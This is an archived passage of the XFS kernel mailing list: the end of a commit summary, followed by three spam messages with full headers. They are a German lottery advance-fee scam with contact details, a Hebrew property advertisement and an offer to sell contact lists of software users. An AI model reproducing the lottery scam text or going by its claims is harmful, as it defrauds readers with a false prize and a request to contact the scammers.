attribute verifier, and a fix for a missing destroy_work_on_stack() in the allocation worker. ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_aops.c | 2 +- fs/xfs/xfs_attr.c | 5 ++-- fs/xfs/xfs_attr_list.c | 8 +++--- fs/xfs/xfs_attr_remote.c | 2 +- fs/xfs/xfs_bmap.c | 4 +++ fs/xfs/xfs_bmap_util.c | 36 ++++++++++++++++++--------- fs/xfs/xfs_dir2_readdir.c | 4 +++ fs/xfs/xfs_dquot.c | 7 +++--- fs/xfs/xfs_file.c | 10 ++++---- fs/xfs/xfs_inode.c | 62 ++++++++++++++++++++++------------------------- fs/xfs/xfs_inode.h | 4 +-- fs/xfs/xfs_inode_fork.c | 2 ++ fs/xfs/xfs_ioctl.c | 4 --- fs/xfs/xfs_qm.c | 6 +++-- 14 files changed, 86 insertions(+), 70 deletions(-) hooks/post-receive -- XFS development tree From agentlucasraymond@gmail.com Thu Jan 9 16:31:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.0 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLY, LOTS_OF_MONEY,T_FRT_CONTACT autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 04B3029DF8 for ; Thu, 9 Jan 2014 16:31:35 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id D27D2304084 for ; Thu, 9 Jan 2014 14:31:34 -0800 (PST) X-ASG-Debug-ID: 1389306690-04cb6c537dcd82d0001-w1Z2WR Received: from noborders-group.com (job2go.com.au [111.118.221.23]) by cuda.sgi.com with ESMTP id U9EcekS2yHtz1Ykw (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 09 Jan 2014 14:31:32 -0800 (PST) X-Barracuda-Envelope-From: agentlucasraymond@gmail.com X-Barracuda-Apparent-Source-IP: 111.118.221.23 Received: (qmail 9781 invoked by uid 33); 10 Jan 2014 03:00:38 +1000 Received: from 46.27.146.140 ([46.27.146.140]) by webmail.noborders-group.com (Horde Framework) with HTTP; Fri, 10 Jan 2014 04:00:37 +1100 Message-ID: <20140110040037.6765382i97w09fat@webmail.noborders-group.com> Date: Fri, 10 Jan 2014 04:00:37 +1100 From: "INFO.SEGUROS" To: undisclosed-recipients: ; Subject: GRATULIERUNG MIME-Version: 1.0 X-ASG-Orig-Subj: GRATULIERUNG Content-Type: text/plain; charset=ISO-8859-1; DelSp="Yes"; format="flowed" Content-Disposition: inline Content-Transfer-Encoding: 7bit User-Agent: Internet Messaging Program (IMP) H3 (4.3.9) X-Barracuda-Connect: job2go.com.au[111.118.221.23] X-Barracuda-Start-Time: 1389306692 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ADVANCE_FEE_1 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143917 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) GRATULIERUNG!!!! Herzlichen Glueckwuensch!!! Ihre e-mail hat in die 2 Kategorie 666.500, 00 euro gewonnen hat. Es wurde eine Promotion dass in Sapnien ein mal pro Jahr Loterie vorenstaltet. Die Loterie hat die e-mail Adresse von ganzen Welt in Kompyter System ausgesucht und ein Spiel vorgespielt. Dieses Jahr Ihre e-mail Adresse gewonnen hat. Um der Gewinn gueltig zu machen, sollen Sie an unsere e-mail Referenznummer und Gewinnumer angeben. Referenznummer- ESPYO 66613 Gewinnumer- 34 27 10 28 22 Bitte kontaktieren sie unseren auslands sachbearbeiter herr Frau Veronica Rica bei der sicherheitfirma ALLIANZA SEGURO SECURITY COMPANY S.L. per Tel: 00-34 631 438 747, und email: seguros.allianza@yahoo.es Bitte denken sie daran, jeder gewinnanspruch muss bis zum 20/01/2014 Angemeldete sein. Jeder nicht angemeldet Gewinnanspruch verfallt und geht zuruck an das MINISTERIO DE ECONOMIA Y HACIENDA. Mit Freundlichen Gruessen, MIREYA GOREZ VICE PRESIDENT From chealthhelp@gmail.com Thu Jan 9 22:13:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.2 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, IP_LINK_PLUS,NORMAL_HTTP_TO_IP,WEIRD_PORT autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 06D077F3F for ; Thu, 9 Jan 2014 22:13:58 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 78361AC004 for ; Thu, 9 Jan 2014 20:13:54 -0800 (PST) X-ASG-Debug-ID: 1389327233-04cb6c537cce51d0001-w1Z2WR Received: from server.californiahealthhelp.com (199.195.116.199.static.a2webhosting.com [199.195.116.199]) by cuda.sgi.com with ESMTP id XGWMxIh8UWakeqNL for ; Thu, 09 Jan 2014 20:13:53 -0800 (PST) X-Barracuda-Envelope-From: chealthhelp@gmail.com X-Barracuda-Apparent-Source-IP: 199.195.116.199 Received: by server.californiahealthhelp.com (Postfix, from userid 48) id DADAD4FBD97A; Fri, 10 Jan 2014 07:01:31 +0300 (MSK) To: linux-xfs@oss.sgi.com Subject: =?UTF-8?B?15PXldeo15kg16TXnNeV16Eg4oCTINeT15nXqNeV16og15HXnteq15fXnSA=?= =?UTF-8?B?15TXl9eT16kg16nXnCDXlNeV15Mg15TXqdeo15XXnyE=?= X-PHP-Originating-Script: 1000:class.phpmailer.php X-ASG-Orig-Subj: =?UTF-8?B?15PXldeo15kg16TXnNeV16Eg4oCTINeT15nXqNeV16og15HXnteq15fXnSA=?= =?UTF-8?B?15TXl9eT16kg16nXnCDXlNeV15Mg15TXqdeo15XXnyE=?= Received: from 107-200-62-194.lightspeed.irvnca.sbcglobal.net [107.200.62.194] by 199.195.116.199 with HTTP; Fri, 10 Jan 2014 08:01:25 +0400 Date: Fri, 10 Jan 2014 08:01:31 +0400 From: =?UTF-8?B?15PXldeo15kg16TXnNeV16E=?= Reply-To: =?UTF-8?B?15PXldeo15kg16TXnNeV16E=?= Message-ID: <3b0827fd30b78832e4183ba363b76d2b@199.195.116.199> X-Priority: 3 X-phpList-version: 3.0.5 X-MessageID: 15 X-ListMember: linux-xfs@oss.sgi.com Precedence: bulk Bounces-To: chealthhelp@gmail.com List-Help: List-Unsubscribe: List-Subscribe: List-Owner: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_3b0827fd30b78832e4183ba363b76d2b" X-Barracuda-Connect: 199.195.116.199.static.a2webhosting.com[199.195.116.199] X-Barracuda-Start-Time: 1389327233 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, IP_LINK_PLUS, NORMAL_HTTP_TO_IP, WEIRD_PORT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143925 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 WEIRD_PORT URI: Uses non-standard port number for HTTP 0.00 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 0.00 IP_LINK_PLUS URI: Dotted-decimal IP address followed by CGI 0.00 HTML_MESSAGE BODY: HTML included in message --b1_3b0827fd30b78832e4183ba363b76d2b Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable ` -- This message was sent to linux-xfs@oss.sgi.com by chealthhelp@gmail.com To change your details and to choose which lists to be subscribed to, visit your personal preferences page=0A Or you can opt-out completely=0A from all future mailings. =20 -- powered by phpList, www.phplist.com -- --b1_3b0827fd30b78832e4183ba363b76d2b Content-Type: multipart/related; boundary="b2_3b0827fd30b78832e4183ba363b76d2b" --b2_3b0827fd30b78832e4183ba363b76d2b Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable =09 =09=09HTML Online Editor Sample =09 =09 ` =09=09

=09=09=093D""

=09=09

=09=09=09=D7=93=D7=95=D7=A8=D7=99 =D7=A4=D7= =9C=D7=95=D7=A1 – =D7=93=D7=99=D7=A8=D7=95=D7=AA =D7=91=D7=9E=D7=AA= =D7=97=D7=9D =D7=94=D7=97=D7=93=D7=A9 =D7=A9=D7=9C =D7=94=D7=95=D7=93 =D7= =94=D7=A9=D7=A8=D7=95=D7=9F!

=09=09

=09=09=09=D7=A9=D7=99=D7=9C=D7=95=D7=91 =D7=A0=D7=93=D7=99=D7= =A8 =D7=A9=D7=9C =D7=AA=D7=9B=D7=A0=D7=95=D7=9F =D7=90=D7=A7=D7=A1=D7=A7=D7= =9C=D7=95=D7=A1=D7=99=D7=91=D7=99 =D7=95=D7=9E=D7=99=D7=A7=D7=95=D7=9D =D7= =90=D7=98=D7=A8=D7=A7=D7=98=D7=99=D7=91=D7=99 =D7=91=D7=A6=D7=A4=D7=95=D7= =A0=D7=94 =D7=A9=D7=9C "=D7=94=D7=A2=D7=99=D7=A8 =D7=91=D7=99=D7=A8=D7= =95=D7=A7" 
=09=09=09=D7=9E=D7=94=D7=9E=D7=98=D7=95=D7=A4=D7=97=D7=95=D7=AA= =D7=95=D7=94=D7=9E=D7=91=D7=95=D7=A7=D7=A9=D7=95=D7=AA =D7=91=D7=90=D7=A8= =D7=A5, =D7=9E=D7=A2=D7=A0=D7=99=D7=A7 =D7=A0=D7=95=D7=A3 =D7=9C=D7=9C=D7= =90 =D7=A1=D7=95=D7=A3,
=09=09=09=D7=A0=D7=92=D7=99=D7=A9=D7=95=D7=AA =D7=92=D7=91=D7=95=D7=94=D7= =94 =D7=9C=D7=9E=D7=A8=D7=9B=D7=96 =D7=94=D7=A2=D7=99=D7=A8 =D7=95=D7=9C=D7= =9B=D7=9C =D7=A6=D7=99=D7=A8=D7=99 =D7=94=D7=AA=D7=97=D7=91=D7=95=D7=A8=D7= =94 =D7=94=D7=A8=D7=90=D7=A9=D7=99=D7=99=D7=9D.

=09=09=09=D7=93=D7=99=D7=A8=D7=95=D7=AA 5-6 =D7=97=D7=93=D7=A8= =D7=99=D7=9D =D7=94=D7=97=D7=9C =D7=9E- 1,950,000 =E2=82=AA.
=09=09=09=D7=95=D7=A2=D7=9B=D7=A9=D7=99=D7=95 = =D7=92=D7=9D =D7=91=D7=9E=D7=A1=D7=9C=D7=95=D7=9C =D7=9E=D7=99=D7=9E=D7=95= =D7=9F =D7=9E=D7=A9=D7=AA=D7=9C=D7=9D =D7=91=D7=9E=D7=99=D7=95=D7=97=D7=93:=
=09=09=091,000,000 =E2=82=AA =D7=94=D7=9C=D7=95=D7=95=D7=90=D7=94 =D7=9C=D7= =A8=D7=9B=D7=99=D7=A9=D7=AA =D7=93=D7=99=D7=A8=D7=94 =D7=9C=D7=9C=D7=90 =D7= =94=D7=97=D7=96=D7=A8 =D7=97=D7=95=D7=93=D7=A9=D7=99
=09=09=09=D7=9C=D7=9B=D7=9C =D7=AA=D7=A7=D7=95=D7=A4=D7=AA =D7=94=D7=91=D7= =A0=D7=99=D7=99=D7=94!

=09=09=09=D7=9C=D7=A4=D7=A8=D7= =98=D7=99=D7=9D =D7=A0=D7=95=D7=A1=D7=A4=D7=99=D7=9D =D7=9C=D7=97=D7=A5 =D7= =9B=D7=90=D7=9F>>

=09
-- =20

This message was sent to linux-xfs@oss.sgi.com by chealthhelp@gmai= l.com

To change your details and to choose which lists to be subscribed to,= visit your personal preferences page
Or you can opt-out completely from all future mailings.

=0A

3D"powered

--b2_3b0827fd30b78832e4183ba363b76d2b Content-Type: image/png; name="powerphplist.png" Content-Transfer-Encoding: base64 Content-ID: Content-Disposition: inline; filename="powerphplist.png" iVBORw0KGgoAAAANSUhEUgAAAEsAAAAhCAYAAACRIVbWAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz AAALEgAACxIB0t1+/AAAAB50RVh0U29mdHdhcmUAQWRvYmUgRmlyZXdvcmtzIENTNS4xqx9I6wAA DmhJREFUaIHtmntw1FWWxz+/Xz/T6aQTQgIkJgR5LGRIFDcPsSAEWEFkZSIisPIcRaTKEkEMwUGX RRaZWlSylKPrqBDFGCXyUAqiKLUg6ADBhCRAEGQhWU1IIpru9Lt/j/2jkx/ppEOwZmoetX6rurrv 45x77/fec+65t69AN4zOyMgDFgP5gK17+f8D2IG9QPGZmprDqqpqBULnj9EZGTFAMfDrv3Tv/obx EbC4trq6DTrI6iDqMHDbX69ff7OoBvJqq6vbxI6MYn4hqjfcRpAfhA4f9d9/zd78nWCiHljRW+nw zPGk507T0g11VZwqLwPAZLEybtbD2PoPxP7DVY59uA2f20lK2hgSBg/jVHkZtviBZE6bzaF3tgIw fdlv2f9fL/TQC3BoR7DO5AXLtbyuem9WpvaLci6eOtpjLLb4gSH1ju3aTkv9xaD8wuVaO+m50/C6 neF0rBCBvN7IssUHiTj1SRmnPiljRJcOT1/2WwBOfVIWkva6nKTn3gtcJ9tksZKSNgZb/MCwek99 Uoa99Sq2+EGYI61aHsC4WQ/ftEztF+VkTXuQ4Znjw4wltF5nfwFs/QeSPmGatgB8bmc4OvL09BEe 2FubaDhXFfydOw1TpBVb/EBs8YPY/XKwwYZzVfxm03Zs8QNpqb+IuaNOyqgxAIzIHE9U3ACunKlE kiQURUFVFGRZBqD+bCUAsizjcbbzPzUVAPRPvpUBqSN+lozBbCF55G3UHQ/1LLIso6rBb0WWMVms SJIEwJGdb/BgwX9gNEdy9fIFTZderw/hOyQVDuMeeJhxDzyskVJ7pJwBqcOxtzb1INUWPwh761Ua zlUxPHM8KWljOLZrGylpY4juP5CT+9/X6g/+1R3Y4geFDLwz/+nizzSdH/9+Q58y3fvxD1m5Ycts 8YPIvncOAD53O+ZIK16Xk+YrF7lQcYTs6XN4o2Bhr1z0SdaxXds0P9UJr8uJOdIaktfZMEBz/UWy ps2mpf4iDedOkzVtNiaLlfpz1wdYfXg/J/d/0KO9+rOVHCwuYsG/vUr14f00X7nYp0xIPyxWvOHN iOYrFyjbXAhA7oNLyMibrun7puKLjsluCisLIIbNVRRt6Ssdv7t+Gi/VYbJYSRs3FUmSSBs3FZPF SuOlOiRJ4nLtKUwWK+dPHqHxUh1eVzvNVy5qZPYFe2sTnxVvIffBJQxIHX5TMhCcsBHZE3pddV1h Sxh003o70efK6g0f/34DMx5/jimLV/Qwl+YrF7G3NlF/thK9KFJ75ECwMTE4N6IgMG7WI+Q+uEST 2V64mIDHhd/tRC+KXPr6GMc+fIs7p89l/2sbbyjT1XRPHdjJuS/KtbY60b1ew7kqznap17Xt3iCM zshQe+QqCpKi/CzyekM3J/l3jfAjEQSNYUEQkCQZj8eNXq8nOjqayMhIVFXF7XZjt9uRZRmLxYJO p6PrwfPPRfifikAggCAIf/LE9SIdHLAgCnjcHvz+AP+YeQdT7p7CqFGjSEhIQFVVWltbqamp4dCh Q5w+fRqj0YjZbA4hDIA+SFMUBa/XS4TZjHADM7gRZFnG5/NhiYgAQQjJH5SQgM/vp62tDZ1O16sO t9uN0WjEYDAEGeiiB3oxQ0FVAAG3243BYGDZsmXMnTuXAQMGhG2ksbGR0tJS3nzzTRRFwWQyoaoq kqIEZ/MGZCmKgsViITMzk4qKCrxeL0K3TvYFRVGIjY0lLS2NEydOIMsygiAQCARISUlh586dtLS0 MG/ePFwuV1jCVFVl7NixXLlyhe+//x6dXt+DrLDTqKgqfr8fm83GunXrePLJJ0OI8ng8vPLKKzz1 1FPU1dWRmJjIqlWreOaZZ1BVVVv2NwO/38+wYcN47bXXGDp0KD6f7+fwBIDX62Xs2LG8/vrrxMbG asGmqqrodDrMZjNms7nXPsmyTEREBC+99BL33HMPbrc7bL2wZujz+VBkBZPZRHZ2dkhZIBDgzbfe 4tzZs9xySzKbfvc7Nmx4nsEpg5k/fz6XL1/hjTf/QGxMLBD0eV6fD6VjdXVG4IIgYDQaARA7TE+S JJxOJ5IkIQgCJpMJg8GALMt4vV5EUeyIxIPG0ElEpz5ZlkP8ktFopL6+nqlTpxIIBHC5XEiShMfj 0eqIooher8fn8xEIBPB6vTidTqxRUT3IDUuWJEnceuutTJo4ibVr17Ju3TpGjhwJgMvlorLya+bO nsM/3X03CxYspKG+nsEpgxFFkYce+hcOHTrEd9//LyZzBH6/n7vuuouYmBgCgQD3338/UVFRVFdX U1payrfffhs0WUkiJyeHefPmkZSUREVFBSUlJbS2ttK/f39mzZrFhQsXmDx5Munp6TgcDvbs2cPn n38ePAqpqvbpCkVRmDFjBk1NTZSVlZGZmcns2bNJTU3l2rVrfPbZZxw/fpw1a9Zgs9mYP38+aWlp /PvGjfgDgRBdYc1QJ+rIysxi7dq1jL1rLAUFBZw/fx6AqKgoxt45lk8Pfsrb77zNwIEDGDp0mCY7 ZMgQcsePx+/zB1ei309+fj5FRUUUFRXh9Xqprq5m4sSJfPDBB4waNQqPx4MgCKxevZr4+Hhqamq4 7777eP/990lISCA+Pp7169dTWlpKXl4eNTU1eDwetm7dypo1awh0G1QnOonLz88nJyeHkSNHsn37 dpKSkqisrESWZZ5//nlycnI0nc3NzZw/f16zhD5XFoJAeno6AMufWI4syRQWFrJ582ZGjBjB0qWP MmPGr9lW/DZfHj1KYmLidYV6PWlpaRhNJk1Xpw8pKCjgww8/RBAEtm7dSklJCc899xxbtmxBp9Ox bds21q9fjyRJvPrqq+zdu5fly5dTXFwMwIkTJ3jkkUdoa2tDVVXmzJnDyy+/zL59+/B6vWGHAkEf 297eTnZ2NhEREaxYsYILFy5gtVoZNmwYLpcLh8PB4sWLOXjwIFu2bGFQYmKPnTn8Pq2qxMXFacmV K1eSl5dHYWEhly5dYs+evcTFxTHvoYd45513sNvtIeK2WBtGg0FLG41GGhoa+PTTT4mOjiYmJob2 9naKi4u5/fbbSU5ORpIkDh48iF6vp1+/fly7do0DBw5wxx13aH7pvffew+l0EhsbS0xMDAcOHOC7 775j0qRJmi/sDUajkZMnT+Lz+di5cyebNm1i4sSJNDc3Y7fbiY6ORhRFzGYzUWH8Va9kyYqCrIQ2 vnLlSqb/83SWPraU3Xt2s3btWl568UX8AT+rV6/G5XJpdRVZQeW67xBFkZ9++glJkjRnbjAY+PHH HxEEAavVqm33neV6vV5z9IIgoCgKbW1tmgPvdOjXrl2jX79+NyQKwGQyUVtby6JFi6ipqWHmzJmU lJSwY8cOEhMT8fv9feoIS5bRaKChvqFHflJiEs3NzbQ72omNjcVsNrPh+Q1YrVaeLnha2/abmq/i 811vXJZlEhMTsVgsmn/xer0MHz4cv99Pa2srer2+x2wKgqD5HVEUSU1N1cwtEAgQGRlJamoqly9f 7nOgnTpOnjzJihUrmDp1KgsWLCA9PZ2FCxdqZPUIqPsiy2QyceLEiZC8uro6it9+m9LS98nLy2Pj xo2oqorVamXjxo1YIiyseWYNDoeDs2fOIklBUgSCoUh8fDyrVq3CaDTidDrJysriiSeeYN++fTQ3 N6PT6cKS1UmYLMs8/vjjZGdn43Q6MRgMFBQUEBERQXl5OaYOH+nz+fB6vfh8Pi0cEAQBn8/HvHnz KCwsJDo6GrvdTlVVFQ6HQzu+GQwGRFHE6/WGJa2X445AZWUlx48f58477wSCUTqqyoCEBIaPGE5V VRV+vx+TyYTZbOaFF15g06ZNLF36GN83fkdkx32XSjAeamtr495772XKlCk4HA6SkpL46quv2Lx5 M2lpaQAhfkdVVQRBwGAwQEeQ7PV62bFjB42NjVitVgwGAytXruTy5ctkZWVhMBgoKSnB7/drxO/a tUtLe71eFi1axMyZM3E4HMTExOByuXj33Xfx+XwcPXqUpUuXkpmZyaqnn8bXzTSF0RkZbXS7WhZQ cTpdZGdl8oc33iA6Khq3282zzz5Lyw+tSIEAc+fMJT8/P0RZa2sr+fn5NDY1ER0djT8QwO/3859b tpCcnMzSRx8ld8IEoqxWvvnmGyoqKpAVhZiYGLKzszl+/DgejwexYwdNHTKEuLg4PB4Pu3fvZsmS JTgcDtLT03E6nXx57BiNTU2YTCZibDZyJ0wgMjIyZIWePXMGCO6I1TU1DE5JITMri9jYWFpaWvjj V3+kzR70hWazmcmTJ2PQ6zlQXg6hu6FdGJ2RsZdu/0ILqMiqgqPNzv33z2Tdv64jLq4fHo+H/Qf2 k3xLMjk5OSFE/fDDD2x+8UX27fsYnU6PIEBAkvH7/WwtKmLw4MEs+s1iTOYIVEVBbzBgMpkQRQFF VvB4PERYIhAFsbMTBAIS9rY2hgwZwq6yMh5btoyvq6ow6PUIooDJZMag14MQXJVutxu6WY/RaERV VURRxGgyEggE8Pv8KIqCqBMxmczodboOHQoetxsEgcjISK42hdyafqQHirqTBQI6UUd0VDS7d++m taWVJUseYfLkycx6YFZITVmWOXzkCNu3b+PYsS+DMysK0GHzqqqi1+vR6XToDUYyszK1sj4hCJw+ Xa0lVYJBcTAGVK9n/rxz902jG1lFnX/fh6wuQSA4IEFEUSTaHU5stmgybruN9F+N5pbkZFRVpamx kZqaGmrPnsHe1kZkpBVRJ3aQIRCQJFRVJXPMGMwREXxx9GjwxH+ztwoqqKpCtM3GpEmTOHz4MD/9 +CPiDa5Z/pzocs78qLa6Oj/sWwdR0PraQVxwl5EkCQQw6A0gCMiShKIqGPQG7VDcFf6AhMFgwOvx BK9iOnadnwtFUXB7PFgiIrQ47C8I7a3DL69oboyer2i64pf3Wb2/z/o/Z4jQ19LLyeMAAAAASUVO RK5CYII= --b2_3b0827fd30b78832e4183ba363b76d2b-- --b1_3b0827fd30b78832e4183ba363b76d2b-- From nicole.collins@dell-db.com Thu Jan 9 22:29:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 428AC7F3F for ; Thu, 9 Jan 2014 22:29:17 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0B93830407E for ; Thu, 9 Jan 2014 20:29:13 -0800 (PST) X-ASG-Debug-ID: 1389328152-04bdf00fe25e9450001-NocioJ Received: from cvps1498310122.hostwindsdns.com (dell-db.com [192.236.132.29]) by cuda.sgi.com with ESMTP id 0tjyziRov7ZovKHe (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 09 Jan 2014 20:29:12 -0800 (PST) X-Barracuda-Envelope-From: nicole.collins@dell-db.com X-Barracuda-Apparent-Source-IP: 192.236.132.29 Received: from [122.172.6.235] (port=22005 helo=mujahidPC) by cvps1498310122.hostwindsdns.com with esmtpa (Exim 4.82) (envelope-from ) id 1W1QWd-0006yN-L0 for xfs@oss.sgi.com; Fri, 10 Jan 2014 04:04:40 +0300 From: "Nicole Collins" To: Subject: Drive your Salesforce Date: Thu, 9 Jan 2014 17:03:47 -0800 X-ASG-Orig-Subj: Drive your Salesforce Message-ID: <6bfd01cf0d9f$ec5924e0$c50b6ea0$@dell-db.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_6BFE_01CF0D5C.DE394040" X-Mailer: Microsoft Outlook 14.0 Thread-Index: Ac8NnRAqdf0Fy+N0RDSBeOklPbP2xw== Content-Language: en-us X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - cvps1498310122.hostwindsdns.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - dell-db.com X-Get-Message-Sender-Via: cvps1498310122.hostwindsdns.com: authenticated_id: nicole.collins@dell-db.com X-Barracuda-Connect: dell-db.com[192.236.132.29] X-Barracuda-Start-Time: 1389328152 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 07afab83dc1cc521b40415f54b0f3d9e-1872-txt X-Barracuda-Spam-Score: 0.21 X-Barracuda-Spam-Status: No, SCORE=0.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_URI_OBF_TLD, FUZZY_REFINANCE, HTML_MESSAGE, THREAD_INDEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143925 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.00 FUZZY_REFINANCE BODY: Attempt to obfuscate words in spam 0.00 HTML_MESSAGE BODY: HTML included in message 0.20 BSF_URI_OBF_TLD Custom Rule BSF_URI_OBF_TLD This is a multipart message in MIME format. ------=_NextPart_000_6BFE_01CF0D5C.DE394040 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi, Would you be interested in owning a list of Technology users or Industry Professionals from USA, UK, Europe, Canada, Australia and other countries across the globe? Some of the softwares users we have in our Database: ORACLE Software Users IBM Software Users Sage Software Users Other Software Users Siebel IBM ClearCase, Sage ERP MAS 90, Altova Software Users Oracle E-Business Suite IBM Rational, Sage ERP MAS 200, Autodesk Software Users List Hyperion System 9 IBM Tivoli, Sage ERP MAS 500, AVAYA Software Users List Oracle CRM On Demand IBM Tivoli-Maximo, Sage PFW ERP, Citrix Software Users JD Edwards EnterpriseOne IBM WebSpere, Sage ERP Accpac HP Software Users PeopleSoft Enterprise IBM Tivoli Customer, Sage Pro ERP, Syabase Software Users PeopleSoft Human Resources IBM Tivoli Monitoring, Sage Peachtree Informatica Software Users and many more Reach Titles like: CEO, CFO, CIO, CTO, CMO, VP level, Director level, IT Directors, Marketing Professionals, HR Titles etc from IT, Telecom, Healthcare, Finance, Manufacturing, Education and more. Append/Update in-house database:- Any missing information, just send us a samples of few records and we will get back to you with updated and appended file within 48 hours. Please review and let me know your thoughts. Best Regards, Nicole Collins Business Analyst Acme-InfoBiz Richmond, Virginia www.acme-infobiz.com| +1 (877) 732 2525 ---------------------------------------------------------------------------- ------------------------------------------- If you're not interested to further emails, please reply with the subject line as "Leave out" ------=_NextPart_000_6BFE_01CF0D5C.DE394040 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hi= ,

&n= bsp;

Wo= uld you be interested in owning a list of Technology users or Industry = Professionals from USA, UK, Europe, Canada, Australia and other = countries across the globe?

&n= bsp;

So= me of the softwares users we have in our Database:

&n= bsp;

ORACLE Software = Users           IBM = Software Users       Sage Software = Users     Other Software Users

Si= ebel           &nb= sp;           &nbs= p;   =             IBM = ClearCase, Sage ERP MAS 90,       Altova = Software Users

Or= acle E-Business = Suite            = IBM Rational,    =             Sage = ERP MAS 200,     Autodesk Software Users = List

Hy= perion System 9        =             IBM = Tivoli,         =             Sage = ERP MAS 500,     AVAYA Software Users = List

Or= acle CRM On = Demand            = IBM Tivoli-Maximo,        Sage PFW = ERP,           Citrix = Software Users

JD= Edwards EnterpriseOne        IBM = WebSpere, Sage ERP Accpac        HP = Software Users

Pe= opleSoft Enterprise   =             IBM = Tivoli Customer,     Sage Pro ERP, =             = Syabase Software Users

Pe= opleSoft Human Resources   IBM Tivoli = Monitoring,    Sage Peachtree Informatica Software Users = and many more

 

Re= ach Titles like: = CE= O, CFO, CIO, CTO, CMO, VP level, Director level, IT Directors, Marketing = Professionals, HR Titles etc from IT, Telecom, Healthcare, Finance, = Manufacturing, Education and more.

&n= bsp;

Ap= pend/Update in-house database:- = Any missing information, just send us a samples of few records and we = will get back to you with updated and appended file within 48 = hours.

&n= bsp;

Pl= ease review and let me know your thoughts.

&n= bsp;

Be= st Regards,

 

Nicole Collins

Business Analyst
Acme-InfoBiz
Richmond, Virginia
www.acme-info= biz.com|  +1 (877) 732 2525

&n= bsp;-= -------------------------------------------------------------------------= ---------------------------------------------=

I= f you're not interested to further emails, please reply with the subject = line as "Leave = out”

